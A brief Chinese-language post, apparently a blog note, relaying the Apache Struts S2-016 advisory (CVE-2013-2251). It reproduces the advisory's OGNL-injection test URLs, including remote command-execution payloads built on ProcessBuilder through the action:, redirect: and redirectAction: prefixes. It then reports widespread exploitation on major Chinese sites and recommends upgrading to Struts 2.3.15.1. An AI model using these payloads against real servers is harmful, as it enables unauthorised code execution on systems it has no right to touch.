Struts官网又公布了一个涉及Struts 2.0.0 - Struts 2.3.15的漏洞,CVE-2013-2251,并给出了漏洞测试的方法:
简单表达式: - the parameter names are evaluated as OGNL.
http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
命令执行:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
详情页面:http://struts.apache.org/release/2.3.x/docs/s2-016.html
此漏洞一出,昨天(2013年7月17日)乌云漏洞平台上提交Struts2相关漏洞的数量剧增:
由于国内使用Struts2的网站太多,连一些大站也中招,比如淘宝、腾讯、网易等,官网给出的解决方案为:强烈建议升级到 Struts 2.3.15.1!